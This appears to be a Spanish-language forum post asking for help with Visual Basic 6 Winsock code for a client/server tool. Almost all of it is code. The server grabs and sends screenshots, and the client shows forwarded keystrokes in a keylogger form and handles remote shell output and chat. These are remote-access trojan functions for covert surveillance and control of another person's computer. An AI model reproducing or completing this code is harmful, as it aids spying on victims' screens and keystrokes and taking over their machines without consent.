asi que con string pasaria? ok, y que lo guardo asi directamente en la imagen?
mira un poquitin esta es la estructura:
El cliente manda la señal para que capture la imagen, la guarde y envie el tamaño
Private Sub Command1_Click()
wsk.SendData "<<-envia-capt->>"
imag3n = "encendido"
End Sub
El servidor coge la señal y manda el tamaño y demas
ordenimgenv = InStr(1, orden, "<<-envia-capt->>")
If ordenimgenv <> 0 Then
Call Capturar_Guardar
End If
Private Sub Capturar_Guardar()
Dim rutaimg As String
MsgBox "cogiendo captura"
rutaimg = Environ$("homedrive") & "\cap.bmp"
If Dir(rutaimg) <> "" Then Kill rutaimg
Clipboard.Clear ' limpiar clipboard
Call keybd_event(44, 2, 0, 0) ' apretar impr pant
DoEvents
If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), rutaimg ' si es bmp guarda en system
If Dir(rutaimg) <> "" Then
wsk.SendData ">>|Archivo|<<" & FileLen(rutaimg)
MsgBox "envie los datos"
End If
End Sub
El cliente recibe el tamaño y pone la variable imag3n = noimagen para poder recibir los datos y avisa al servidor que le mande los datos
If imag3n = "encendido" Then
MsgBox "entra a coger tamaño"
wsk.GetData vData, vbString
MsgBox vData
averiarc = InStr(1, vData, ">>|Archivo|<<")
If averiarc = 0 Then
imag3n = "noencendido"
lBytes = 0
vData = Split(vData, ">>|Archivo|<<")
lFileSize = vData(1)
MsgBox "tamaño: " & vData(1)
' Le enviamos como mensaje al cliente que comienze el envio del archivo
wsk.SendData "<<--envia-datos-->>"
'Creamos un archivo en modo binario
Open rutaimg For Binary Access Write As #1
El servidor recibe la orden y manda los datos
ordenimgenv2 = InStr(1, orden, "<<--envia-datos-->>")
If ordenimgenv2 <> 0 Then
Call enviar_img
End If
Private Sub enviar_img()
Dim imagen As String
Dim Size As Long
Dim arrData() As Byte
imagen = Environ$("homedrive") & "\cap.bmp"
Open imagen For Binary Access Read As #1 ' abrimos la captura
Size = LOF(1) ' obtenemos el tamaño de la captura
ReDim arrData(Size - 1) ' redimensionamos la variable
Get #1, , arrData ' le pasamos todo a la variable
Close
wsk.SendData arrData
End Sub
El cliente esta preparado ya para recibir el archivo
ElseIf imag3n = "noencendido" Then
MsgBox "entra a coger los datos"
' Aumentamos lBytes con los datos que van llegando
lBytes = lBytes + bytesTotal
'Recibimos los datos y lo almacenamos en el arry de bytes
wsk.GetData arrData
'Escribimos en disco el array de bytes, es decir lo que va llegando
Put #1, , arrData
' Si lo recibido es mayor o igual al tamaño entonces se terminó y cerramos
'el archivo abierto
If lBytes >= lFileSize Then
'Cerramos el archivo
Close #1
'Reestablecemos el flag y la variable lBytes por si se intenta enviar otro archivo
flag = False
lBytes = 0
'Mostrar mensaje de finalización
MsgBox "El archivo se ha recibido por completo"
imag3n = ""
End If
End If
Luego en todo caso de que no se quiera recibir imagen sigue con lo demas
Else
wsk.GetData devu
nickcmpr = InStr(1, devu, "<<necesito-nick>>")
If nickcmpr <> 0 Then
MsgBox "Al parecer " & wsk.RemoteHostIP & " necesita nick :_"
nick = InputBox("Pon el nick que desees a " & wsk.RemoteHostIP, "Ingresando nick", "")
wsk.SendData "<<toma-nick>>" & nick
txtnick = nick
Exit Sub
End If
nickcmprr = InStr(1, devu, "<<NICK>>")
If nickcmprr <> 0 Then
ola = Split(devu, "<<NICK>>")
txtnick = ola(1)
Exit Sub
End If
For i = 0 To Len(devu)
busca = InStr(1, devu, ">>|chating>>")
Next
If busca <> 0 Then
mens = Split(devu, ">>|chating>>")
frmchat.Text1.Text = frmchat.Text1.Text & vbCrLf & "El usuario remoto te dice:" & vbCrLf & mens(1) & vbCrLf
Exit Sub
End If
If Left(devu, 10) = "\\TECLAS//" Then
keyko = Split(devu, "\\TECLAS//")
If devu = Chr(13) Then ' si encuentra un enter
frmklg.txtkey.Text = frmklg.txtkey.Text & vbCrLf
Exit Sub
End If
If devu = Chr(9) Then frmklg.txtkey.Text = frmklg.txtkey.Text & Chr(9) ' si encuentra un tabulador
escribiendo:
frmklg.txtkey.Text = frmklg.txtkey.Text + keyko(1)
Exit Sub
End If
' ordenes shell remota
txtdlv.Text = devu
Exit Sub
End If
End Sub